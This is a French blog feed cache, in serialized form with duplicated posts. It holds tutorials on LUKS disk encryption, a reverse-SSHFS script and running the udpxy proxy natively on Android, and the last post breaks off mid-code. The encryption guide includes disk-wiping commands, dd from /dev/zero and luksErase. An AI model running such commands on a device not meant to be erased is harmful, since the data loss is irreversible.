Effacer le disque

Si des données étaient présentes sur ce disque, il est plus sûr de tout supprimer physiquement :

sudo dd if=/dev/zero of=/dev/XXX bs=4K

Cette commande peut prendre beaucoup de temps, puisqu’elle consiste à réécrire physiquement tous les octets du disque dur.

Créer la partition chiffrée

Pour initialiser la partition chiffrée :

sudo cryptsetup luksFormat -h sha256 /dev/XXX

La passphrase de déchiffrement sera demandée.

Maintenant que nous avons une partition chiffrée, ouvrons-la :

sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez

Cette commande crée un nouveau device dans /dev/mapper/lenomquevousvoulez, contenant la version déchiffrée (en direct).

Formater

Pour formater cette partition en ext4 :

sudo mkfs.ext4 /dev/mapper/lenomquevousvoulez

Pour l’initialisation, c’est fini, nous pouvons fermer la vue déchiffrée :

cryptsetup luksClose lenomquevousvoulez

Montage manuel

Il est possible de déchiffrer et monter la partition manuellement en ligne de commande :

sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez
sudo mkdir -p /media/mydisk
sudo mount -t ext4 /dev/mapper/lenomquevousvoulez /media/mydisk

Le contenu est alors accessible dans /media/mydisk.

Pour démonter et fermer, c’est le contraire :

sudo umount /media/mydisk
sudo cryptsetup luksClose /dev/XXX lenomquevousvoulez

Mais c’est un peu fastidieux. Et je n’ai pas trouvé de solution pour permettre le luksOpen par un utilisateur (non-root) en ligne de commande.

Montage semi-automatique

Les environnement de bureau permettent parfois de monter un disque dur chiffré simplement, avec la demande de la passphrase lors de l’ouverture du disque. Voici ce que j’obtiens avec XFCE :
luksOpen

Mais par défaut, le nom du point de montage est peu pratique : /media/rom/ae74bc79-9efe-4325-8b4d-63d1506fa928. Heureusement, il est possible de le changer. Pour cela, il faut déterminer le nom de la partition déchiffrée :

$ ls /dev/mapper/luks-*
/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e

Le nom très long correspond en fait à l’UUID du disque, qui peut aussi être récupéré grâce à :

sudo cryptsetup luksUUID /dev/XXX

ou encore :

sudo blkid /dev/XXX

L’emplacement désiré, ainsi que les options qui-vont-bien, doivent être rajoutés dans /etc/fstab :

/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e /media/mydisk ext4 user,noauto

Ainsi, le disque sera désormais monté dans /media/mydisk.

Si en plus, nous souhaitons spécifier un nom user-friendly pour la partition déchiffrée (celui dans /dev/mapper/), il faut ajouter une ligne dans /etc/crypttab (en adaptant l’UUID) :

mydisk UUID=8b927433-4d4f-4636-8a76-06d18c09723e none luks,noauto

Et utiliser celle-ci à la place dans /etc/fstab :

/dev/mapper/mydisk /media/mydisk ext4 user,noauto

Gestion des passphrases

Il est possible d’utiliser plusieurs passphrases (jusqu’à 8) pour déchiffrer le même disque.

Pour en ajouter une :

sudo cryptsetup luksAddKey /dev/XXX

Pour en supprimer une :

sudo cryptsetup luksRemoveKey /dev/XXX

Pour changer une unique passphrase, il suffit d’en ajouter une nouvelle puis de supprimer l’ancienne.

Ou alors d’utiliser :

sudo cryptsetup luksChangeKey /dev/XXX

mais man cryptsetup dit qu’il y a un risque.

État

Pour consulter l’état d’une partition LUKS :

sudo cryptsetup luksDump /dev/XXX

Gestion de l’en-tête

L’en-tête LUKS est écrit au début du disque. L’écraser empêche définivement le déchiffrement de la partition.

Il est possible d’en faire une sauvegarde dans un fichier :

cryptsetup luksHeaderBackup /dev/XXX --header-backup-file fichier

Et de les restaurer :

cryptsetup luksHeaderRestore /dev/XXX --header-backup-file fichier

Pour supprimer l’en-tête (et donc rendre les données définitivement inaccessibles s’il n’y a pas de backup) :

cryptsetup luksErase /dev/XXX

Conclusion

Une fois configuré la première fois, et après les quelques modifications pénibles pour choisir les noms pour le déchiffrement et le montage, l’utilisation au quotidien est vraiment très simple : il suffit de rentrer la passphrase directement à partir du navigateur de fichiers.

";s:7:"dateiso";s:15:"20140720_230333";}s:15:"20140720_210333";a:7:{s:5:"title";s:58:"Chiffrer un disque dur externe (ou une clé USB) avec LUKS";s:4:"link";s:86:"http://blog.rom1v.com/2014/07/chiffrer-un-disque-dur-externe-ou-une-cle-usb-avec-luks/";s:4:"guid";s:85:"http://blog.rom1v.com/2014/07/chiffrer-un-disque-dur-externe-ou-une-cle-usb-avec-luks";s:7:"pubDate";s:25:"2014-07-20T21:03:33+02:00";s:11:"description";s:0:"";s:7:"content";s:8871:"

Un disque dur externe contenant vos données n’a pas de raisons de ne pas être chiffré. Voici quelques commandes utiles pour l’utilisation de LUKS.

Prérequis

Le paquet cryptsetup doit être installé :

sudo apt-get install cryptsetup

Initialisation

Trouver le disque

Tout d’abord, il faut déterminer l’emplacement du disque dur dans /dev. Pour cela, avant de le brancher, exécuter la commande :

sudo tail -f /var/log/messages

Lors du branchement du disque, plusieurs lignes similaires à celles-ci doivent apparaître :

Jul 20 21:25:29 pc kernel: [  678.139988] sd 7:0:0:0: [sdb] 976754645 4096-byte logical blocks: (4.00 TB/3.63 TiB)

Ici, [sdb] signifie que l’emplacement est /dev/sdb. Dans la suite, je noterai cet emplacement /dev/XXX.

Il est très important de ne pas se tromper d’emplacement, afin de ne pas formater un autre disque…

Effacer le disque

Si des données étaient présentes sur ce disque, il est plus sûr de tout supprimer physiquement :

sudo dd if=/dev/zero of=/dev/XXX bs=4K

Cette commande peut prendre beaucoup de temps, puisqu’elle consiste à réécrire physiquement tous les octets du disque dur.

Créer la partition chiffrée

Pour initialiser la partition chiffrée :

sudo cryptsetup luksFormat -h sha256 /dev/XXX

La passphrase de déchiffrement sera demandée.

Maintenant que nous avons une partition chiffrée, ouvrons-la :

sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez

Cette commande crée un nouveau device dans /dev/mapper/lenomquevousvoulez, contenant la version déchiffrée (en direct).

Formater

Pour formater cette partition en ext4 :

sudo mkfs.ext4 /dev/mapper/lenomquevousvoulez

Pour l’initialisation, c’est fini, nous pouvons fermer la vue déchiffrée :

cryptsetup luksClose lenomquevousvoulez

Montage manuel

Il est possible de déchiffrer et monter la partition manuellement en ligne de commande :

sudo cryptsetup luksOpen /dev/XXX lenomquevousvoulez
sudo mkdir -p /media/mydisk
sudo mount -t ext4 /dev/mapper/lenomquevousvoulez /media/mydisk

Le contenu est alors accessible dans /media/mydisk.

Pour démonter et fermer, c’est le contraire :

sudo umount /media/mydisk
sudo cryptsetup luksClose /dev/XXX lenomquevousvoulez

Mais c’est un peu fastidieux. Et je n’ai pas trouvé de solution pour permettre le luksOpen par un utilisateur (non-root) en ligne de commande.

Montage semi-automatique

Les environnement de bureau permettent parfois de monter un disque dur chiffré simplement, avec la demande de la passphrase lors de l’ouverture du disque. Voici ce que j’obtiens avec XFCE :

luksOpen

Mais par défaut, le nom du point de montage est peu pratique : /media/rom/ae74bc79-9efe-4325-8b4d-63d1506fa928. Heureusement, il est possible de le changer. Pour cela, il faut déterminer le nom de la partition déchiffrée :

$ ls /dev/mapper/luks-*
/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e

Le nom très long correspond en fait à l’UUID du disque, qui peut aussi être récupéré grâce à :

sudo cryptsetup luksUUID /dev/XXX

ou encore :

sudo blkid /dev/XXX

L’emplacement désiré, ainsi que les options qui-vont-bien, doivent être rajoutés dans /etc/fstab :

/dev/mapper/luks-8b927433-4d4f-4636-8a76-06d18c09723e /media/mydisk ext4 user,noauto

Ainsi, le disque sera désormais monté dans /media/mydisk.

Si en plus, nous souhaitons spécifier un nom user-friendly pour la partition déchiffrée (celui dans /dev/mapper/), il faut ajouter une ligne dans /etc/crypttab (en adaptant l’UUID) :

mydisk UUID=8b927433-4d4f-4636-8a76-06d18c09723e none luks,noauto

Et utiliser celle-ci à la place dans /etc/fstab :

/dev/mapper/mydisk /media/mydisk ext4 user,noauto

Gestion des passphrases

Il est possible d’utiliser plusieurs passphrases (jusqu’à 8) pour déchiffrer le même disque.

Pour en ajouter une :

sudo cryptsetup luksAddKey /dev/XXX

Pour en supprimer une :

sudo cryptsetup luksRemoveKey /dev/XXX

Pour changer une unique passphrase, il suffit d’en ajouter une nouvelle puis de supprimer l’ancienne.

Ou alors d’utiliser :

sudo cryptsetup luksChangeKey /dev/XXX

mais man cryptsetup dit qu’il y a un risque.

État

Pour consulter l’état d’une partition LUKS :

sudo cryptsetup luksDump /dev/XXX

Gestion de l’en-tête

L’en-tête LUKS est écrit au début du disque. L’écraser empêche définivement le déchiffrement de la partition.

Il est possible d’en faire une sauvegarde dans un fichier :

cryptsetup luksHeaderBackup /dev/XXX --header-backup-file fichier

Et de les restaurer :

cryptsetup luksHeaderRestore /dev/XXX --header-backup-file fichier

Pour supprimer l’en-tête (et donc rendre les données définitivement inaccessibles s’il n’y a pas de backup) :

cryptsetup luksErase /dev/XXX

Conclusion

Une fois configuré la première fois, et après les quelques modifications pénibles pour choisir les noms pour le déchiffrement et le montage, l’utilisation au quotidien est vraiment très simple : il suffit de rentrer la passphrase directement à partir du navigateur de fichiers.

";s:7:"dateiso";s:15:"20140720_210333";}s:15:"20140615_153027";a:7:{s:5:"title";s:23:"SSHFS inversé (rsshfs)";s:4:"link";s:51:"http://blog.rom1v.com/2014/06/sshfs-inverse-rsshfs/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4798";s:7:"pubDate";s:31:"Sun, 15 Jun 2014 13:30:27 +0000";s:11:"description";s:439:"SSHFS permet de monter un répertoire d’une machine distance dans l’arborescence locale en utilisant SSH : sshfs serveur:/répertoire/distant /répertoire/local Mais comment monter un répertoire local sur une machine distante ? Une solution simple serait de se connecter en SSH sur la machine distante et d’exécuter la commande sshfs classique. Mais d’abord, ce n’est pas toujours directement […]";s:7:"content";s:4818:"

sshfs

SSHFS permet de monter un répertoire d’une machine distance dans l’arborescence locale en utilisant SSH :

sshfs serveur:/répertoire/distant /répertoire/local

Mais comment monter un répertoire local sur une machine distante ?

Une solution simple serait de se connecter en SSH sur la machine distante et d’exécuter la commande sshfs classique.

Mais d’abord, ce n’est pas toujours directement possible : la machine locale peut ne pas être accessible (non adressable) depuis la machine distante. Ça se contourne en créant un tunnel SSH utilisant la redirection de port distante (option -R).

Et surtout, ce n’est pas toujours souhaitable : cela nécessite que la clé privée autorisée sur la machine locale soit connue de la machine distante. Or, dans certains cas, nous ne voulons pas qu’une machine esclave puisse se connecter à notre machine maître.

Reverse SSHFS

En me basant sur la commande donnée en exemple, j’ai donc écrit un petit script Bash (rsshfs, licence GPLv3) qui permet le reverse SSHFS :

(disponible également sur github)

git clone http://git.rom1v.com/rsshfs.git
cd rsshfs
sudo install rsshfs /usr/local/bin

Les paquets sshfs et fuse doivent être installés sur la machine distante (et l’utilisateur doit appartenir au groupe fuse). Le paquet openssh-sftp-server doit être installé sur la machine locale ainsi que vde2 (pour la commande dpipe) (plus maintenant).

Son utilisation se veut similaire à celle de sshfs :

rsshfs /répertoire/local serveur:/répertoire/distant

Comme avec sshfs, /répertoire/distant doit exister sur serveur et doit être vide.

Il est également possible de monter le répertoire en lecture seule :

rsshfs /répertoire/local serveur:/répertoire/distant -o ro

Attention. L’option « lecture seule » est demandée à la machine distante, par un paramètre sshfs. Par conséquent, une version modifiée de sshfs pourrait ignorer la demande de lecture seule. Vous devez donc faire confiance à la machine distante. (plus maintenant)

Contrairement à sshfs, étant donné que rsshfs agit comme un serveur, cette commande ne retourne pas tant que le répertoire distant n’est pas démonté.

Pour démonter, dans un autre terminal :

rsshfs -u serveur:/répertoire/distant

Ou plus simplement (depuis le commit 440a357) en pressant Ctrl+C dans le terminal de la commande de montage.

TODO

J’ai choisi la facilité en écrivant un script indépendant qui appelle la commande qui-va-bien.

L’idéal serait d’ajouter cette fonctionnalité à sshfs directement.

";s:7:"dateiso";s:15:"20140615_153027";}s:15:"20140615_133027";a:7:{s:5:"title";s:23:"SSHFS inversé (rsshfs)";s:4:"link";s:51:"http://blog.rom1v.com/2014/06/sshfs-inverse-rsshfs/";s:4:"guid";s:50:"http://blog.rom1v.com/2014/06/sshfs-inverse-rsshfs";s:7:"pubDate";s:25:"2014-06-15T13:30:27+02:00";s:11:"description";s:0:"";s:7:"content";s:3513:"

SSHFS permet de monter un répertoire d’une machine distance dans l’arborescence locale en utilisant SSH :

sshfs serveur:/répertoire/distant /répertoire/local

Mais comment monter un répertoire local sur une machine distante ?

Une solution simple serait de se connecter en SSH sur la machine distante et d’exécuter la commande sshfs classique.

Mais d’abord, ce n’est pas toujours directement possible : la machine locale peut ne pas être accessible (non adressable) depuis la machine distante. Ça se contourne en créant un tunnel SSH utilisant la redirection de port distante (option -R).

Et surtout, ce n’est pas toujours souhaitable : cela nécessite que la clé privée autorisée sur la machine locale soit connue de la machine distante. Or, dans certains cas, nous ne voulons pas qu’une machine esclave puisse se connecter à notre machine maître.

Reverse SSHFS

En me basant sur la commande donnée en exemple, j’ai donc écrit un petit script Bash (rsshfs, licence GPLv3) qui permet le reverse SSHFS :

(disponible également sur github)

git clone http://git.rom1v.com/rsshfs.git
cd rsshfs
sudo install rsshfs /usr/local/bin

Les paquets sshfs et fuse doivent être installés sur la machine distante (et l’utilisateur doit appartenir au groupe fuse). Le paquet openssh-sftp-server doit être installé sur la machine locale.

Son utilisation se veut similaire à celle de sshfs :

rsshfs /répertoire/local serveur:/répertoire/distant

Comme avec sshfs, /répertoire/distant doit exister sur serveur et doit être vide.

Il est également possible de monter le répertoire en lecture seule :

rsshfs /répertoire/local serveur:/répertoire/distant -o ro

Contrairement à sshfs, étant donné que rsshfs agit comme un serveur, cette commande ne retourne pas tant que le répertoire distant n’est pas démonté.

Pour démonter, dans un autre terminal :

rsshfs -u serveur:/répertoire/distant

Ou plus simplement en pressant Ctrl+C dans le terminal de la commande de montage.

Amélioration

J’ai choisi la facilité en écrivant un script indépendant qui appelle la commande qui-va-bien.

L’idéal serait d’ajouter cette fonctionnalité à sshfs directement.

";s:7:"dateiso";s:15:"20140615_133027";}s:15:"20140319_003952";a:7:{s:5:"title";s:36:"Compiler un exécutable pour Android";s:4:"link";s:66:"http://blog.rom1v.com/2014/03/compiler-un-executable-pour-android/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4728";s:7:"pubDate";s:31:"Tue, 18 Mar 2014 23:39:52 +0000";s:11:"description";s:401:"Je vais présenter dans ce billet comment compiler un exécutable ARM pour Android, l’intégrer à un APK et l’utiliser dans une application. À titre d’exemple, nous allons intégrer un programme natif, udpxy, dans une application minimale de lecture vidéo. Contexte Le framework multimédia d’Android ne supporte pas nativement la lecture de flux UDP multicast (1, […]";s:7:"content";s:20493:"

android

Je vais présenter dans ce billet comment compiler un exécutable ARM pour Android, l’intégrer à un APK et l’utiliser dans une application.

À titre d’exemple, nous allons intégrer un programme natif, udpxy, dans une application minimale de lecture vidéo.

Contexte

Le framework multimédia d’Android ne supporte pas nativement la lecture de flux UDP multicast (1, 2).

Il est possible, pour y parvenir, d’utiliser des lecteurs alternatifs, par exemple basés sur ffmpeg/libav (l’un est un fork de l’autre), tel que libvlc.

Il existe par ailleurs un outil natif, sous licence GPLv3, relayant du trafic UDP multicast vers du HTTP : udpxy. N’importe quel client supportant HTTP (comme le lecteur natif d’Android) peut alors s’y connecter. C’est cet outil que nous allons utiliser ici.

udpxy

Compilation classique

Avant de l’intégrer, comprenons son utilisation en le faisant tourner sur un ordinateur classique (Debian Wheezy 64 bits pour moi).

Il faut d’abord le télécharger les sources, les extraire et compiler :

wget http://www.udpxy.com/download/1_23/udpxy.1.0.23-9-prod.tar.gz
tar xf udpxy.1.0.23-9-prod.tar.gz
cd udpxy-1.0.23-9/
make

Si tout se passe bien, nous obtenons (entre autres) un binaire udpxy.

Test de diffusion

Pour tester, nous avons besoin d’une source UDP multicast. Ça tombe bien, VLC peut la fournir. Pour obtenir le résultat attendu par udpxy, nous devons diffuser vers une adresse multicast (ici 239.0.0.1). Par exemple, à partir d’un fichier MKV :

cvlc video.mkv ':sout=#udp{dst=239.0.0.1:1234}'

En parallèle, démarrons une instance d’udpxy, que nous venons de compiler :

./udpxy -p 8379

Cette commande va démarrer un proxy relayant de l’UDP multicast vers de l’HTTP, écoutant sur le port 8379.

Dans un autre terminal, nous pouvons faire pointer VLC sur le flux ainsi proxifié :

vlc http://localhost:8379/udp/239.0.0.1:1234/

Normalement, le flux doit être lu correctement.

Remarquez qu’udpxy pourrait très bien être démarré sur une autre machine (il suffirait alors de remplacer localhost par son IP). Mais pour la suite, nous souhaiterons justement exécuter udpxy localement sur Android.

Bien sûr, avec VLC, nous n’aurions pas besoin d’udpxy. Le flux est lisible directement avec la commande :

vlc udp://@239.0.0.1:1234/

Android

Notez que certains devices Android ne supportent pas le multicast, la réception de flux multicast ne fonctionnera donc pas.

Maintenant que nous avons vu comment fonctionne udpxy, portons-le sur Android.

Notre but est de le contrôler à partir d’une application et le faire utiliser par le lecteur vidéo natif.

Pour cela, plusieurs étapes sont nécessaires :

  1. obtenir un binaire ARM exécutable pour Android ;
  2. le packager avec une application ;
  3. l’extraire ;
  4. l’exécuter.

Exécutable ARM

Pré-compilé

Pour obtenir un binaire ARM exécutable, le plus simple, c’est évidemment de le récupérer déjà compilé, s’il est disponible (c’est le cas pour udpxy). Dans ce cas, il n’y a rien à faire.

Pour le tester, transférons-le sur le téléphone et exécutons-le :

adb push udpxy /data/local/tmp
adb shell /data/local/tmp/udpxy -p 8379

Si tout se passe bien, cette commande ne produit en apparence rien : elle attend qu’un client se connecte. Pour valider le fonctionnement, si le téléphone est sur le même réseau que votre ordinateur, vous pouvez utiliser cette instance (ARM) d’udpxy comme proxy entre la source multicast et un lecteur VLC local :

vlc http://<ip_device>:8379/udp/239.0.0.1:1234/

Pour obtenir l’ip du téléphone :

adb shell netcfg | grep UP
Compilation ponctuelle

S’il n’est pas disponible, il va falloir le compiler soi-même à partir des sources, ce qui nécessite le NDK Android, fournissant des chaînes de compilation pré-compilées.

Il suffit alors d’initialiser la variable d’environnement CC pour pointer sur la bonne chaîne de compilation (adaptez les chemins et l’architecture selon votre configuration) :

export NDK=~/android/ndk
export SYSROOT="$NDK/platforms/android-19/arch-arm"
export CC="$NDK/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc --sysroot=$SYSROOT"
make

Bravo, vous venez de générer un binaire udpxy pour l’architecture ARM.

Compilation intégrée

La compilation telle que réalisée ci-dessus est bien adaptée à la génération d’un exécutable une fois de temps en temps, mais s’intègre mal dans un système de build automatisé. En particulier, un utilisateur avec une architecture différente devra adapter les commandes à exécuter.

Heureusement, le NDK permet une compilation plus générique.

Pour cela, il faut créer un répertoire jni dans un projet Android (ou n’importe où d’ailleurs, mais en pratique c’est là qu’il est censé être), y mettre les sources et écrire des Makefiles.

Créons donc un répertoire jni contenant les sources. Vu que nous les avons déjà extraites, copions-les à la racine de jni/ :

cp -rp udpxy-1.0.23-9/ jni/
cd jni/

Créons un Makefile nommé Android.mk :

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := udpxy
LOCAL_SRC_FILES := udpxy.c sloop.c rparse.c util.c prbuf.c ifaddr.c ctx.c mkpg.c \
                   rtp.c uopt.c dpkt.c netop.c extrn.c main.c

include $(BUILD_EXECUTABLE)

Puis compilons :

ndk-build

ndk-build se trouve à la racine du NDK.

Le binaire sera généré dans libs/armeabi/udpxy.

Afin d’organiser les projets plus proprement, il vaut mieux mettre les sources d’udpxy et son Android.mk dans un sous-répertoire spécifique au projet (dans jni/udpxy/). Dans ce cas, il faut rajouter un fichier jni/Android.mk contenant :

include $(call all-subdir-makefiles)

Packager avec l’application

Je suppose ici que vous savez déjà créer une application Android.

Nous devons maintenant intégrer le binaire dans l’APK. Pour cela, il y a principalement deux solutions :

Vu que les projets library ne gèrent pas les assets, nous allons utiliser une ressource raw.

Il faut donc copier le binaire dans res/raw/, à chaque fois qu’il est généré (à automatiser donc).

Extraire l’exécutable

L’exécutable est bien packagé avec l’application, et comme toutes les ressources, nous pouvons facilement obtenir un InputStream (le fonctionnement est similaire pour les assets).

Mais pour l’exécuter en natif, le binaire doit être présent sur le système de fichiers. Il faut donc le copier et lui donner les droits d’exécution. Sans la gestion des exceptions, cela donne :

// "/data/data/<package>/files/udpxy"
File target = new File(getFilesDir(), "udpxy")
InputStream in = getResources().openRawResource(R.raw.udpxy);
OutputStream out = new FileOutputStream(target);
// copy from R.raw.udpxy to /data/data/<package>/files/udpxy
FileUtils.copy(in, out);
// make the file executable
FileUtils.chmod(target, 0755);

Et les parties intéressantes de FileUtils :

public static void copy(InputStream in, OutputStream os) throws IOException {
    byte[] buf = new byte[4096];
    int read;
    while ((read = (in.read(buf))) != -1) {
        os.write(buf, 0, read);
    }
}

public static boolean chmod(File file, int mode) throws IOException {
    String sMode = String.format("%03o", mode); // to string octal value
    String path = file.getAbsolutePath();
    String[] argv = { "chmod", sMode, path };
    try {
        return Runtime.getRuntime().exec(argv).waitFor() == 0;
    } catch (InterruptedException e) {
        throw new IOException(e);
    }
}

Exécuter le programme natif

Maintenant que le binaire est disponible sur le système de fichiers, il suffit de l’exécuter :

String[] command = { udpxyBin.getAbsolutePath(), "-p", "8379" };
udpxyProcess = Runtime.getRuntime().exec(command);

Le lecteur vidéo pourra alors utiliser l’URI proxifié comme source de données :

String src = UdpxyService.proxify("239.0.0.1:1234");

Projets

andudpxy

Je mets à disposition sous licence GPLv3 le projet library andudpxy, qui met en œuvre ce que j’ai expliqué ici :

git clone http://git.rom1v.com/andudpxy.git

(ou sur github)

Pour l’utiliser dans votre application, n’oubliez pas de référencer la library et de déclarer le service UdpxyService dans votre AndroidManifest.xml :

<service android:name="com.rom1v.andudpxy.UdpxyService" />

Pour démarrer le démon :

UdpxyService.startUdpxy(context);

et pour l’arrêter :

UdpxyService.stopUdpxy(context);

andudpxy-sample

J’ai également écrit une application minimale de lecture vidéo qui utilise cette library :

git clone http://git.rom1v.com/andudpxy-sample.git

(ou sur github)

C’est toujours utile d’avoir une application d’exemple censée fonctionner 😉

L’adresse du flux UDP multicast à lire est écrite en dur dans MainActivity (et le flux doit fonctionner lors du démarrage de l’activité) :

private static final String ADDR = "239.0.0.1:1234";

Compilation

Après avoir cloné les 2 projets dans un même répertoire parent, renommez les local.properties.sample en local.properties, éditez-les pour indiquer le chemin du SDK et du NDK.

Ensuite, allez dans le répertoire andudpxy-sample, puis exécutez :

ant clean debug

Vous devriez obtenir bin/andudpxy-sample-debug.apk.

Bien sûr, vous pouvez aussi les importer dans Eclipse (ou un autre IDE) et les compiler selon vos habitudes.

Conclusion

Nous avons réussi à compiler et exécuter un binaire ARM sur Android, packagé dans une application.

Ceci peut être utile pour exécuter du code déjà implémenté nativement pour d’autres plates-formes, pour faire tourner un démon natif… Par exemple, le projet Serval (sur lequel j’ai un peu travaillé) utilise un démon servald, qui tourne également sur d’autres architectures.

Ce n’est cependant pas la seule manière d’exécuter du code natif dans une application : la plus courante est d’appeler des fonctions natives (et non un exécutable) directement à partir de Java, en utilisant JNI. L’une et l’autre répondent à des besoins différents.

";s:7:"dateiso";s:15:"20140319_003952";}s:15:"20140318_233952";a:7:{s:5:"title";s:36:"Compiler un exécutable pour Android";s:4:"link";s:66:"http://blog.rom1v.com/2014/03/compiler-un-executable-pour-android/";s:4:"guid";s:65:"http://blog.rom1v.com/2014/03/compiler-un-executable-pour-android";s:7:"pubDate";s:25:"2014-03-18T23:39:52+01:00";s:11:"description";s:0:"";s:7:"content";s:23194:"

Je vais présenter dans ce billet comment compiler un exécutable ARM pour Android, l’intégrer à un APK et l’utiliser dans une application.

À titre d’exemple, nous allons intégrer un programme natif, udpxy, dans une application minimale de lecture vidéo.

Contexte

Le framework multimédia d’Android ne supporte pas nativement la lecture de flux UDP multicast (1, 2).

Il est possible, pour y parvenir, d’utiliser des lecteurs alternatifs, par exemple basés sur ffmpeg/libav (l’un est un fork de l’autre) ou libvlc.

Il existe par ailleurs un outil natif, sous licence GPLv3, relayant du trafic UDP multicast vers du HTTP : udpxy. N’importe quel client supportant HTTP (comme le lecteur natif d’Android) peut alors s’y connecter. C’est cet outil que nous allons utiliser ici.

udpxy

Compilation classique

Avant de l’intégrer, comprenons son utilisation en le faisant tourner sur un ordinateur classique (Debian Wheezy 64 bits pour moi).

Il faut d’abord le télécharger les sources, les extraire et compiler :

wget http://www.udpxy.com/download/1_23/udpxy.1.0.23-9-prod.tar.gz
tar xf udpxy.1.0.23-9-prod.tar.gz
cd udpxy-1.0.23-9/
make

Si tout se passe bien, nous obtenons (entre autres) un binaire udpxy.

Test de diffusion

Pour tester, nous avons besoin d’une source UDP multicast. Ça tombe bien, VLC peut la fournir. Pour obtenir le résultat attendu par udpxy, nous devons diffuser vers une adresse multicast (ici 239.0.0.1). Par exemple, à partir d’un fichier MKV :

cvlc video.mkv ':sout=#udp{dst=239.0.0.1:1234}'

En parallèle, démarrons une instance d’udpxy, que nous venons de compiler :

./udpxy -p 8379

Cette commande va démarrer un proxy relayant de l’UDP multicast vers de l’HTTP, écoutant sur le port 8379.

Dans un autre terminal, nous pouvons faire pointer VLC sur le flux ainsi proxifié :

vlc http://localhost:8379/udp/239.0.0.1:1234/

Normalement, le flux doit être lu correctement.

Remarquez qu’udpxy pourrait très bien être démarré sur une autre machine (il suffirait alors de remplacer localhost par son IP). Mais pour la suite, nous souhaiterons justement exécuter udpxy localement sur Android.

Bien sûr, avec VLC, nous n’aurions pas besoin d’udpxy. Le flux est lisible directement avec la commande :

vlc udp://@239.0.0.1:1234/

Android

Notez que certains devices Android ne supportent pas le multicast, la réception de flux multicast ne fonctionnera donc pas.

Maintenant que nous avons vu comment fonctionne udpxy, portons-le sur Android.

Notre but est de le contrôler à partir d’une application et le faire utiliser par le lecteur vidéo natif.

Pour cela, plusieurs étapes sont nécessaires :

  1. obtenir un binaire ARM exécutable pour Android ;
  2. le packager avec une application ;
  3. l’extraire ;
  4. l’exécuter.

Exécutable ARM

Pré-compilé

Pour obtenir un binaire ARM exécutable, le plus simple, c’est évidemment de le récupérer déjà compilé, s’il est disponible (c’est le cas pour udpxy). Dans ce cas, il n’y a rien à faire.

Pour le tester, transférons-le sur le téléphone et exécutons-le :

adb push udpxy /data/local/tmp
adb shell /data/local/tmp/udpxy -p 8379

Si tout se passe bien, cette commande ne produit en apparence rien : elle attend qu’un client se connecte. Pour valider le fonctionnement, si le téléphone est sur le même réseau que votre ordinateur, vous pouvez utiliser cette instance (ARM) d’udpxy comme proxy entre la source multicast et un lecteur VLC local :

vlc http://xx.xx.xx.xx:8379/udp/239.0.0.1:1234/

Replacer xx.xx.xx.xx par l’ip du device, qu’il est possible d’obtenir ainsi :

adb shell netcfg | grep UP

Compilation ponctuelle

S’il n’est pas disponible, il va falloir le compiler soi-même à partir des sources, ce qui nécessite le NDK Android, fournissant des chaînes de compilation pré-compilées.

Il suffit alors d’initialiser la variable d’environnement CC pour pointer sur la bonne chaîne de compilation (adaptez les chemins et l’architecture selon votre configuration) :

export NDK=~/android/ndk
export SYSROOT="$NDK/platforms/android-19/arch-arm"
export CC="$NDK/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-gcc --sysroot=$SYSROOT"
make

Bravo, vous venez de générer un binaire udpxy pour l’architecture ARM.

Compilation intégrée

La compilation telle que réalisée ci-dessus est bien adaptée à la génération d’un exécutable une fois de temps en temps, mais s’intègre mal dans un système de build automatisé. En particulier, un utilisateur avec une architecture différente devra adapter les commandes à exécuter.

Heureusement, le NDK permet une compilation plus générique.

Pour cela, il faut créer un répertoire jni dans un projet Android (ou n’importe où d’ailleurs, mais en pratique c’est là qu’il est censé être), y mettre les sources et écrire des Makefiles.

Créons donc un répertoire jni contenant les sources. Vu que nous les avons déjà extraites, copions-les à la racine de jni/ :

cp -rp udpxy-1.0.23-9/ jni/
cd jni/

Créons un Makefile nommé Android.mk :

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := udpxy
LOCAL_SRC_FILES := udpxy.c sloop.c rparse.c util.c prbuf.c ifaddr.c ctx.c \
                   mkpg.c rtp.c uopt.c dpkt.c netop.c extrn.c main.c

include $(BUILD_EXECUTABLE)

Puis compilons :

ndk-build

ndk-build se trouve à la racine du NDK.

Le binaire sera généré dans libs/armeabi/udpxy.

Afin d’organiser les projets plus proprement, il vaut mieux mettre les sources d’udpxy et son Android.mk dans un sous-répertoire spécifique au projet (dans jni/udpxy/). Dans ce cas, il faut rajouter un fichier jni/Android.mk contenant :

include $(call all-subdir-makefiles)

Packager avec l’application

Je suppose ici que vous savez déjà créer une application Android.

Nous devons maintenant intégrer le binaire dans l’APK. Pour cela, il y a principalement deux solutions :

Vu que les projets library ne gèrent pas les assets, nous allons utiliser une ressource raw.

Il faut donc copier le binaire dans res/raw/, à chaque fois qu’il est généré (à automatiser donc).

Extraire l’exécutable

L’exécutable est bien packagé avec l’application, et comme toutes les ressources, nous pouvons facilement obtenir un InputStream (le fonctionnement est similaire pour les assets).

Mais pour l’exécuter en natif, le binaire doit être présent sur le système de fichiers. Il faut donc le copier et lui donner les droits d’exécution. Sans la gestion des exceptions, cela donne :

// "/data/data/<package>/files/udpxy"
File target = new File(getFilesDir(), "udpxy")
InputStream in = getResources().openRawResource(R.raw.udpxy);
OutputStream out = new FileOutputStream(target);
// copy from R.raw.udpxy to /data/data/<package>/files/udpxy
FileUtils.copy(in, out);
// make the file executable
FileUtils.chmod(target, 0755);

Et les parties intéressantes de FileUtils :

public static void copy(InputStream in, OutputStream os) throws IOException {
    byte[] buf = new byte[4096];
    int read;
    while ((read = (in.read(buf))) != -1) {
        os.write(buf, 0, read);
    }
}

public static boolean chmod(File file, int mode) throws IOException {
    String sMode = String.format("%03o", mode); // to string octal value
    String path = file.getAbsolutePath();
    String[] argv = { "chmod", sMode, path };
    try {
